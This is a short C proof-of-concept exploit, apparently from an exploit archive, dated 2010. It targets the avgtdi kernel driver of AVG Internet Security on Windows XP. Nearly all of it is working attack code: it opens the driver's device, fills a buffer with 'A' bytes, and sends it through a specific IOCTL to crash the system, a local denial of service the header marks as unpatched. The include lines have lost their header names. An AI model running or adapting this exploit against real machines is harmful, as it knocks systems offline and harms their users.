/* # Exploit Title: AVG Internet Security 0day Local DoS Exploit # Date: 2010-11-01 # Author: Nikita Tarakanov (CISS Research Team) # Software Link: http://www.avg.com # Version: up to date, version 9.0.851, avgtdix.sys version 9.0.0.832 # Tested on: Win XP SP3 # CVE : CVE-NO-MATCH # Status : Unpatched */ #include #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { HANDLE hDevice; DWORD cb; void *buff; int outlen = 0x18, inlen = 0x10; DWORD ioctl = 0x830020C8; char deviceName[] = "\\\\.\\avgtdi"; char logName[] = "avgtdi.log"; if ( (hDevice = CreateFileA(deviceName, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL) ) != INVALID_HANDLE_VALUE ) { printf("Device succesfully opened!\n"); } else { printf("Error: Error opening device \n"); return 0; } cb = 0; buff = malloc(0x1000); if(!buff){ printf("malloc failed"); return 0; } memset(buff, 'A', 0x1000-1); DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff, outlen, &cb, NULL); free(buff); }

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